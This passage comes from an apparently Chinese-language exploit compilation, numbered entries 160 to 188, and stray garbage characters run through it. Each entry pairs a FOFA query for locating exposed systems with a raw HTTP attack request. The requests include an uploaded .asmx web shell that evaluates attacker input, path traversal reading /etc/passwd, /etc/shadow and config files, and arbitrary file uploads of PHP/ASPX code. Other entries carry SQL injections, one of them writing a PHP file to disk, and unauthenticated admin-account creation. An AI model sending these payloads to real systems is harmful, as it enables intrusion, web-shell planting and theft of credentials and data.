+ v! G# f4 F' y9 h2 O" R* S; v( \2 YPOST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
6 i8 U9 r: U  FContent-Length: 1080
Accept-Encoding: gzip, deflate
Connection: close
1 }$ [# i$ t8 Q9 UContent-Type: text/xml; charset=utf-8
/ }6 {* g' r0 v" j5 V7 SSoapaction: "http://rainier/jobUpload"
  O& U3 D# t* ^$ @! e* {) a* G5 [
8 s+ |% n9 _5 o<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<jobUpload xmlns="http://rainier">
/ U4 v6 @3 Z6 z1 k5 T6 B# ~8 B1 K<vcode>1</vcode>
<subFolder></subFolder>
* [9 t- J! d. {% x4 N4 y+ U<fileName>abcrce.asmx</fileName>
7 h8 e, e% k+ R! r. i+ R+ F* Z" R<bufValue>PCVAIFdlYlNlcnZpY2UgTGFuZ3VhZ2U9IkpTY3JpcHQiIENsYXNzPSJXZWJTZXJ2aWNlMSIgJT4KIAppbXBvcnQgU3lzdGVtO2ltcG9ydCBTeXN0ZW0uV2ViO2ltcG9ydCBTeXN0ZW0uSU87aW1wb3J0IFN5c3RlbS5XZWIuU2VydmljZXM7CmltcG9ydCBTeXN0ZW0uV2ViLlNjcmlwdC5TZXJ2aWNlczsKaW1wb3J0IFN5c3RlbS5XZWI7CmltcG9ydCBTeXN0ZW0uV2ViLlNlcnZpY2VzOwogCnB1YmxpYyBjbGFzcyBXZWJTZXJ2aWNlMSBlleHRlbmRzIFdlYlNlcnZpY2UKewogCldlYk1ldGhvZEF0dHJpYnV0ZSBTY3JpcHRNZXRob2RBdHRyaWJ1dGUgZnVuY3Rpb24gQ21kc2hlbGwoUGFzcyA6IFN0cmluZykgOiBWb2lkCiAgICB7CiAgICAgICAgICAgIHZhciBjIID0gSHR0cENvbnRleHQuQ3VycmVudDsKICAgICAgICAgICAgdmFyIFJlcXVlc3QgPSBjLlJlcXVlc3Q7CiAgICAgICAgICAgIHZhciBSZXNwb25zZSA9IGMuUmVzcG9uc2U7CiAgICAgICAgICAgIGV2YWwoUGFzcyk7CiAgICCB9Cn0=</bufValue>
</jobUpload>
</soap:Body>
4 M& i$ W' {  {: R</soap:Envelope>
) _- j$ P& ~  a( w& H# `; S: s6 t

/1/abcrce.asmx/Cmdshell?Pass=Response.Write("Hello,World")

3 f( f1 M0 I( w8 L/ Y4 K9 n0 b
160. Sonatype Nexus Repository 3目录遍历与文件读取
* G6 K6 j" Y% u8 C8 UCVE-2024-4956
( {' [. K8 y* y. ^5 E9 M' t/ {/ k+ EFOFA：title="Nexus Repository Manager"
4 ~5 H# R+ w) k. i; v( u. {GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
6 Z+ M7 m: |6 }" B3 d  |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0
+ l4 W  X4 ?" V1 q+ @  o% l8 |Connection: close
Accept: */*
/ b# i2 S9 K7 i0 HAccept-Language: en
Accept-Encoding: gzip
0 Q" I$ v- r; m' N
7 g/ ?+ \+ ?6 a1 y: k- O; W: c
4 b6 o% o1 ^; Q9 c7 [! R) c161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
: Q) [: K' w, TFOFA：body="/KT_Css/qd_defaul.css"
' n: t( V  M+ p: G- T$ ]: c7 E第一步，上传文件<fileName>字段指定文件名，<fileFlow>字段指定文件内容，内容需要base64加密
; \+ m0 V9 x# U, p- b# X& S0 J0 {POST /Webservice.asmx HTTP/1.1
. _4 a' j* b. ]2 k0 gHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
1 \5 v9 }5 d% |6 I/ e% q1 R$ w. O) v$ FConnection: close
Content-Length: 445
9 f6 U) F4 L8 u4 P$ j# oContent-Type: text/xml
! p0 F% b; N# w& J5 M& U5 ]4 ?) ^Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
6 O$ i8 D% B0 Q& \<soap:Envelope xmlns:xsi="
http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"
  q/ m2 H0 l8 L4 Qxmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
+ F2 B& C' E) Q0 [/ O<UploadResume xmlns="http://tempuri.org/">
<ip>1</ip>
9 {/ g$ j9 T! g1 V5 v<fileName>../../../../dizxdell.aspx</fileName>
<fileFlow>andqbmFnc3phc3d1ZGh0bmhwYXc=</fileFlow>
+ G: w4 h, r% o( I3 u  A0 P<tag>3</tag>
# j- I! Z: F5 \5 m: |6 ~</UploadResume>
8 a9 ^' s+ u0 I! n</soap:Body>
</soap:Envelope>


http://x.x.x.x/dizxdell.aspx
& n) c0 o- G; R
/ j! b+ m# w! o, M162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
FOFA: app="和丰山海-数字标牌"
POST /QH.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
6 B8 b6 N. t2 f( n2 N7 hContent-Length: 583
' a/ |; Q  }8 \0 p* I- fContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryeegvclmyurlotuey
- ?/ [# `2 M  ]' m, ^9 }Accept-Encoding: gzip
1 ]0 ^. }7 u$ `& D- U8 ]3 q+ E
------WebKitFormBoundaryeegvclmyurlotuey
Content-Disposition: form-data; name="fileToUpload"; filename="kjuhitjgk.aspx"
Content-Type: application/octet-stream

<% response.write("ujidwqfuuqjalgkvrpqy") %>
------WebKitFormBoundaryeegvclmyurlotuey
; R8 ?$ V4 _' `) L% T  uContent-Disposition: form-data; name="action"
6 D# Y9 \) }4 P" `; f
upload
------WebKitFormBoundaryeegvclmyurlotuey
; f$ S( a6 D. U' u1 _. ?Content-Disposition: form-data; name="responderId"
$ x; u2 g0 e1 k) j; @0 R3 z" ^
: {9 `, v8 o( j: s- MResourceNewResponder
------WebKitFormBoundaryeegvclmyurlotuey
* X9 \& k( ]1 \' ]$ VContent-Disposition: form-data; name="remotePath"

/opt/resources
9 L& L! F" z1 P& L  m------WebKitFormBoundaryeegvclmyurlotuey--
) B4 Q; }8 F" x( U+ j. e

8 |; z* w+ }$ A) V* E: Whttp://x.x.x.x/opt/resources/kjuhitjgk.aspx
& r1 D1 ]+ L' t1 g/ s; J
163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
9 q/ n1 ?  T% r- J0 Y( _* p  hFOFA: icon_hash="-795291075"
. Z" J5 ~! [: [5 M0 \3 XPOST /admin/controller/ue_serve.php?action=image&encode=utf-8 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Connection: close
Content-Length: 293
0 c! f. h4 b1 L' _+ FAccept: */*
9 t1 f. L4 U/ ZAccept-Encoding: gzip, deflate
0 n) `) K9 _# ^7 n9 ?2 H* J% m8 OAccept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----iiqvnofupvhdyrcoqyuujyetjvqgocod

; u& `1 B. |4 Z/ Q0 e- o------iiqvnofupvhdyrcoqyuujyetjvqgocod
Content-Disposition: form-data; name="name"
, {4 M! ~0 f% S0 _- G# K8 a
1.php
------iiqvnofupvhdyrcoqyuujyetjvqgocod
7 z; o: N. `# ~6 ]  A6 DContent-Disposition: form-data; name="upfile"; filename="1.php"
Content-Type: image/jpeg
! v) E" X/ y; H. i( T( w; B
4 Y/ I' W# x' M1 e) irvjhvbhwwuooyiioxega
------iiqvnofupvhdyrcoqyuujyetjvqgocod--
: u! P3 p8 X- [0 j. A

164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
' G# k$ X  e+ s2 @- Z6 F. U: s! hFOFA: title="智慧综合管理平台登入"
# u) j) p4 Z  u7 ]1 BPOST /Module/FileUpPage/FileUpProductupdate.aspx HTTP/1.1
4 g3 F& B  Z2 r$ hHost: x.x.x.x
& u% Y* i" M5 J. L0 k( p8 TUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Content-Length: 288
! k; T! M5 o5 Q/ x) Y% YAccept: application/json, text/javascript, */*; q=0.01
0 k2 a7 y# d  C3 NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2,
Connection: close
Content-Type: multipart/form-data; boundary=----dqdaieopnozbkapjacdbdthlvtlyl
2 d3 Z( E( C7 i6 Q" IX-Requested-With: XMLHttpRequest
5 J" L6 @" Y( l6 JAccept-Encoding: gzip
9 T6 ~: m' o7 x
+ P5 f& s- q' D/ t9 }------dqdaieopnozbkapjacdbdthlvtlyl
Content-Disposition: form-data; name="Filedata"; filename="qaz.aspx"
9 {+ E4 m& l' v$ G' R; B' M$ OContent-Type: image/jpeg

<%@Page Language="C#"%><%Response.Write("aitwpovoxwtgixpfqiys");System.IO.File.Delete(Request.PhysicalPath);%>
------dqdaieopnozbkapjacdbdthlvtlyl--
% m8 I6 j  _+ d0 a
! E2 F7 Q6 m! W
7 `, D- y- k; `1 w$ l' ihttp://x.x.x.x/Upload/Publish/000000/0_0_0_0/update.aspx
5 |! d- g+ l3 w
( O9 |! H" g6 ~  I165. OrangeHRM 3.3.3 SQL 注入
CVE-2024-36428
1 ?6 B, h5 ]$ HFOFA: app="OrangeHRM-产品"
URL:https://192.168.1.28/symfony/web ... e&sortOrder=ASC,(SELECT (CASE WHEN (5240=5240) THEN 1 ELSE 5240*(SELECT 5240 FROM INFORMATION_SCHEMA.PLUGINS) END))
( @5 P, b, _3 A- L& w' \  @+ r

7 U9 U" K. y- n- |4 J7 `  H166. 中成科信票务管理平台SeatMapHandler SQL注入
FOFA：body="技术支持：北京中成科信科技发展有限公司"
) y% Q; j. }; ^3 h; W. S" CPOST /SystemManager/Comm/SeatMapHandler.ashx HTTP/1.1
. x9 v4 [, Q2 w% KHost:
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
/ X" S- k) F" D: j& i. WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
; T" N7 p: \: F  QAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" r! l% S9 D& c9 M, MAccept-Encoding: gzip, deflate
% w) D! {$ A8 s: c: K9 bAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASPSESSIONIDCCRBRCTD=LHLBDIBAKDEGBCJGKIKMNODE
Connection: close
. I" m8 B% Q3 p, L2 a5 `Content-Type: application/x-www-form-urlencoded
3 Y$ u8 Y0 L1 L; o; U7 a( H" OContent-Length: 89
! i% D6 x% t3 _; z& H6 G
Method=GetZoneInfo&solutionNo=%27+AND+4172+IN+%28SELECT+%28CHAR%28104%29%2BCHAR%28101%29%2BCHAR%28108%29%2BCHAR%28108%29%2BCHAR%28111%29%29%29--+bErE


167. 精益价值管理系统 DownLoad.aspx任意文件读取
FOFA：body="/ajax/LVS.Core.Common.STSResult,LVS.Core.Common.ashx"
GET /Business/DownLoad.aspx?p=UploadFile/../Web.Config HTTP/1.1
+ {$ @3 d6 ~) tHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 ]* D; f+ j/ g) \3 v* UContent-Type: application/x-www-form-urlencoded
! G7 f3 i. I6 M8 ]! nAccept-Encoding: gzip, deflate
Accept: */*
: [& h& w4 I" p8 t: NConnection: keep-alive
% d+ Z3 I' L" W9 O

168. 宏景EHR OutputCode 任意文件读取
FOFA：app="HJSOFT-HCM"
GET /servlet/OutputCode?path=VHmj0PAATTP2HJBPAATTPcyRcHb6hPAATTP2HJFPAATTP59XObqwUZaPAATTP2HJBPAATTP6EvXjT HTTP/1.1
# x+ S4 j0 t8 g1 l1 }% aHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
+ D( X4 D4 i/ g' B" r- ]Content-Type: application/x-www-form-urlencoded
Connection: close
: A' A7 i, ^6 \1 @1 A$ ^9 S  n


7 l8 [0 ^' m6 S# ^( X5 s- f$ i169. 宏景EHR downlawbase SQL注入
FOFA：app="HJSOFT-HCM"
% c1 E" p3 g3 P' c6 z( mGET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1
& H" N( F" T# ^: R8 z/ ?) SHost: your-ip
/ J5 O- b/ v; W, NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close
2 X1 l1 _$ A( O2 I5 a* l
; K& C2 d( z0 W6 X3 X4 h

170. 宏景EHR DisplayExcelCustomReport 任意文件读取
, L2 P) }0 Y( G% W7 C% o2 iFOFA：body="/general/sys/hjaxmanage.js"
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: balalanengliang
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
9 ?1 ]$ G' z4 j
filename=../webapps/ROOT/WEB-INF/web.xml


" I" z* v2 f0 b% E& o: \' r" x171. 通天星CMSV6车载定位监控平台 SQL注入
6 M) f& R# C+ @5 H7 GFOFA：body="/808gps/"
GET /run_stop/delete.do;downloadLogger.action?ids=1)+AND+(SELECT+5394+FROM+(SELECT(SLEEP(5)))tdpw)--+&loadAll=1 HTTP/1.1
Host: your-ip
; U: u' \; Y3 M( d- A) e. P( nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
% I. L# m! k+ A  d) N$ N5 ]Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
- C& p+ _; y: ^* H2 dConnection: close


! T& k: b5 U% |, Y* ]$ \, |
172. DT-高清车牌识别摄像机任意文件读取
. s. v/ j: v" G1 ^0 I7 i  rFOFA：app="DT-高清车牌识别摄像机"
GET /../../../../etc/passwd HTTP/1.1
) f& R: r( S; I" d! F% \Host: your-ip
0 J) n# t  T! S/ ?& nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
/ I* F% ]9 T  f/ {( tConnection: keep-alive
9 e! Y8 g; ?: e3 U
5 o: j' B$ T0 z* ]8 i+ w
9 g3 K# q; b0 o! i; L, K
$ [7 R) D7 T7 I: b6 ]# R- F) C7 @8 \173. Check Point 安全网关任意文件读取
CVE-2024-24919
8 U; ]' ?# @. q: }. XFOFA：app="Check_Point-SSL-Network-Extender"
POST /clients/MyCRL HTTP/1.1
Host: your-ip
" X* N* K! L" j% s: cContent-Type: application/x-www-form-urlencoded

aCSHELL/../../../../../../../etc/shadow

* a1 Q. y1 f# K1 _  n0 r

174. 金和OA C6 FileDownLoad.aspx 任意文件读取
FOFA：app="金和网络-金和OA"
GET /c6/JHSoft.Web.CustomQuery/FileDownLoad.aspx?FilePath=../Resource/JHFileConfig.ini HTTP/1.1
( Q- R  a9 u1 p. c' o7 Q' |Host: your-ip
- E2 m# Q( w8 m5 m8 s6 gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
$ g; e" ?9 R9 `, N8 SAccept-Language: zh-CN,zh;q=0.9
Connection: close


$ x3 R9 _  }6 Y; ^  G; A% }0 u' C  x
. Q3 p  w" V0 G% v4 R4 h175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
* y/ \- v" Q1 T) ]1 IFOFA：app="金和网络-金和OA"
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1 HTTP/1.1
, p6 N9 A5 r  ?7 W5 Y- RHost:
7 H3 v$ g5 z" G3 e4 E3 K( v1 e  wUser-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
* T8 ?$ u  D! ^" _' X" t8 d9 EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 f+ l& U8 H, u! w. e$ |$ IAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) B/ F$ Q, j( _1 j, C4 VAccept-Encoding: gzip, deflate
Connection: close
% B. z# V2 E3 L% h" Z1 aUpgrade-Insecure-Requests: 1
6 m6 z0 _5 D! s& E; U9 ], p
5 [7 s7 e5 E2 M
176. 电信网关配置管理系统 rewrite.php 文件上传
FOFA：body="img/login_bg3.png" && body="系统登录"
3 ~/ Z1 A3 T9 W: U6 d- S- Y8 pPOST /manager/teletext/material/rewrite.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
8 U. q$ p* a; X9 GContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryOKldnDPT
Connection: close

# g- u) k1 L( P, \4 j; S------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="tmp_name"; filename="test.php"
Content-Type: image/png
* O5 r+ U; |2 o% G1 z+ M2 T- [
<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryOKldnDPT
Content-Disposition: form-data; name="uploadtime"


3 V2 b# j8 |  P, B% y2 Z------WebKitFormBoundaryOKldnDPT--
5 D6 H) |( i* g3 `# m) q' K. H
$ A* L6 E. J# x

177. H3C路由器敏感信息泄露
* ~5 R. N+ U: b' H6 X/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/userLogin.asp/../actionpolicy_status/../M60.cfg
, Y1 _$ Y$ H5 F* G4 Y( F/userLogin.asp/../actionpolicy_status/../GR8300.cfg
/userLogin.asp/../actionpolicy_status/../GR5200.cfg
/userLogin.asp/../actionpolicy_status/../GR3200.cfg
/userLogin.asp/../actionpolicy_status/../GR2200.cfg
4 t. B* a: R: m' u% R) L/ i$ y0 i" R/userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg
/userLogin.asp/../actionpolicy_status/../ER8300G2.cfg
/ U7 j* v1 O; W  W; r) }/userLogin.asp/../actionpolicy_status/../ER6300G2.cfg
) y8 v/ |' T3 ]( _7 P/userLogin.asp/../actionpolicy_status/../ER5200G2.cfg
+ {, @% m9 ~8 ?/userLogin.asp/../actionpolicy_status/../ER5200.cfg
& F9 I* v6 r" L- W7 k/userLogin.asp/../actionpolicy_status/../ER5100.cfg
/ L. E( ?4 j/ p! u5 B& p! }/userLogin.asp/../actionpolicy_status/../ER3260G2.cfg
; G, R$ A' T5 ~& j  A* M/userLogin.asp/../actionpolicy_status/../ER3260.cfg
/userLogin.asp/../actionpolicy_status/../ER3200G2.cfg
( C- r0 h6 c% c" q7 _, h/userLogin.asp/../actionpolicy_status/../ER3200.cfg
/userLogin.asp/../actionpolicy_status/../ER3108GW.cfg
% {: {6 Z! z1 V* m7 D( I3 P$ z  U* a# n/userLogin.asp/../actionpolicy_status/../ER3108G.cfg
/userLogin.asp/../actionpolicy_status/../ER3100G2.cfg
6 J. I- l' M  k/userLogin.asp/../actionpolicy_status/../ER3100.cfg
/userLogin.asp/../actionpolicy_status/../ER2200G2.cfg


+ a3 I9 C, {: s$ x& i4 P178. H3C校园网自助服务系统-flexfileupload-任意文件上传
" A  K5 x2 P0 U* [6 H  nFOFA：header="/selfservice"
* g3 G' z0 B3 b3 g: zPOST /imc/primepush/%2e%2e/flexFileUpload HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 252
Accept-Encoding: gzip, deflate
5 }0 u  L- y2 S: \Connection: close
3 F- h+ O" N8 @Content-Type: multipart/form-data; boundary=---------------aqutkea7vvanpqy3rh2l
-----------------aqutkea7vvanpqy3rh2l
Content-Disposition: form-data; name="12234.txt"; filename="12234"
Content-Type: application/octet-stream
0 e2 v$ B' m* w0 f4 ^: h7 tContent-Length: 255
0 q, A5 a/ f. r
; r: I& m- ~# W) f12234
-----------------aqutkea7vvanpqy3rh2l--
  Z2 Y. p5 }/ X1 U. |

! y. n6 Y- m, M" b1 x  wGET /imc/primepush/%2e%2e/flex/12234.txt
2 Y7 J: v/ P/ y$ g

179. 建文工程管理系统存在任意文件读取
% K/ H6 r% \! kPOST /Common/DownLoad2.aspx HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
+ F1 V* h$ K: A3 Z" ]User-Agent: Mozilla/5.0
  C. Y, S1 S1 A6 v
path=../log4net.config&Name=


7 q% b3 \! x* [; A/ }180. 帮管客 CRM jiliyu SQL注入
FOFA：app="帮管客-CRM"
9 {" M' i. V  K6 Z; d# WGET /index.php/jiliyu?keyword=1&page=1&pai=id&sou=soufast&timedsc=激励语列表&xu=and%201=(updatexml(1,concat(0x7e,(select%20user()),0x7e),1)) HTTP/1.1
Host: your-ip
' q3 q$ x( i7 X/ j& D# v6 e0 W+ zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
- e8 x& ^! G7 u$ G; ]5 D$ TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) \+ }: p4 ?# b' oAccept-Encoding: gzip, deflate
# W& j: u( U8 V% A; a7 _* EAccept-Language: zh-CN,zh;q=0.9
Connection: close

. Z( w, Q. H& O4 e) ]! H
( b- g) i' U  R7 a. ^181. 润申信息科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
/ d; h0 ~( X/ i: s7 u& F1 iFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/UpdataLogHandler.ashx HTTP/1.1
Host: your-ip
0 D1 B. ]6 U1 d! l* jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: Z  F9 A1 `3 U: j- [4 I# IAccept-Encoding: gzip, deflate, br
, A* U9 L! w5 c+ a9 `- _% sAccept-Language: zh-CN,zh;q=0.9
* h0 L# I3 H$ _5 tConnection: close
' c+ T  \+ `: ], EContent-Type: application/x-www-form-urlencoded


action=GetAll&start=' WAITFOR DELAY '0:0:5'--&end=&code=11&type=2&page=1&rows=20


182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
: O6 ~1 l7 h- H/ [/ q) kFOFA："PDCA/js/_publicCom.js"
POST /PDCA/ashx/AddNewsHandler.ashx?action=Adduser HTTP/1.1
0 R* R9 T" |( S  c; z) D: qHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
9 ~* b. ]% |& I+ kAccept-Language: zh-CN,zh;q=0.9
3 T( r0 s9 ?4 w. SConnection: close
& K: t" s+ I  ^$ b6 rContent-Type: application/x-www-form-urlencoded


# I- D' \. j/ G! M( L# {+ N- D  Jusername=test1234&pwd=test1234&savedays=1


7 Y4 O! H9 O) _& k$ l4 b183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
! n2 Q% L3 L5 }2 r5 x6 UFOFA：body="interlib/common/" || body="Interlib图书馆集群管理系统" || body="/interlib3/system_index" || body="打开Interlib主界面"
GET /interlib3/service/sysop/updOpuserPw?loginid=admin11&newpassword=Aa@123456&token=1%27and+ctxsys.drithsx.sn(1,(select%20111111*111111%20from%20dual))=%272 HTTP/1.1
) G! o9 o; M# U3 T9 O; k  J* c2 y& K) A2 IHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
* e; Z2 q7 G3 c7 m7 j+ xAccept-Charset: utf-8
. u2 X$ o# t/ t4 i2 p- m9 z) bAccept-Encoding: gzip, deflate
Connection: close

2 p7 Y: R& F9 `" M+ K; `
8 ~% L2 u% F. d4 I; @! B, s, t% ?184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
FOFA：server="SunFull-Webs"
* f8 C* o/ F; ]- rPOST /soap/AddUser HTTP/1.1
Host: your-ip
+ i3 ~6 {3 e9 L# L3 t  w  GAccept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
3 [( P2 _0 |$ HAccept: application/xml, text/xml, */*; q=0.01
7 e2 o) D/ i# l* OContent-Type: text/xml; charset=utf-8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
X-Requested-With: XMLHttpRequest
. o2 b. P$ F) L1 {4 Q
- L! `/ I- A+ b2 ?5 Y
insert into userid (USERNAME,PASSWORD,PURVIEW,LOGINDATE,LOGINTIME) values('root','123456','4','2024-5-6','11:7:56')


185. 瑞友天翼应用虚拟化系统SQL注入
version < 7.0.5.1
FOFA：app="REALOR-天翼应用虚拟化系统"
. V% B. j5 h$ C0 V, dGET /index.php?s=/Admin/appsave&appid=3%27%29%3Bselect+unhex%28%273c3f706870206563686f206d643528223122293b202466696c65203d205f5f46494c455f5f3b20756e6c696e6b282466696c65293b%27%29+into+outfile+%27.%5C%5C..%5C%5C..%5C%5CWebRoot%5C%5Cplom.xgi%27%23 HTTP/1.1
Host: host
! q( B0 p4 u! F4 v8 N9 B! O0 K, U
/ b4 b8 K( p) {
- K9 C3 U/ J* X: ?: K186. F-logic DataCube3 SQL注入
, G7 K) G3 T# Q) y4 C3 {CVE-2024-31750
F-logic DataCube3是一款用于光伏发电系统的紧凑型终端测量系统
FOFA：title=="DataCube3"
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host: your-ip
+ P" Q6 K6 y7 a+ n4 g! F* RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
3 K7 U5 }+ |# j( ?" ?. t# k4 A* E( AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
; |; D2 i" h5 T$ ~0 {" qAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# ^5 n$ L; d" RAccept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded

& K+ R; S4 V9 b$ Q" z& E9 c! Dreq_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
) ^% u5 b. K- s% j
/ t' R9 x+ W0 T7 ]$ V' |. _1 B7 W
$ A* \6 S: z5 T2 Q7 L187. Mura CMS processAsyncObject SQL注入
8 S) w- @: [5 L% j* }1 s* |6 G5 XCVE-2024-32640
FOFA："Mura CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
% ?5 z3 q& f0 R3 _+ N+ VHost: your-ip
( ^5 W* a# L: X1 yContent-Type: application/x-www-form-urlencoded


" i9 R$ S6 t9 {+ eobject=displayregion&contenthistid=x%5c' AND (SELECT 3504 FROM (SELECT(SLEEP(5)))MQYa)-- Arrv&previewid=1


188. 叁体-佳会视频会议 attachment 任意文件读取
% n1 Z: Y9 V5 ^- K2 ]' D9 eversion <= 3.9.7
  {- i# X8 ?  @1 L7 P) B6 p1 ?FOFA：body="/system/get_rtc_user_defined_info?site_id"
! a+ W7 w; T& {% |8 X8 yGET /attachment?file=/etc/passwd HTTP/1.1
Host: your-ip
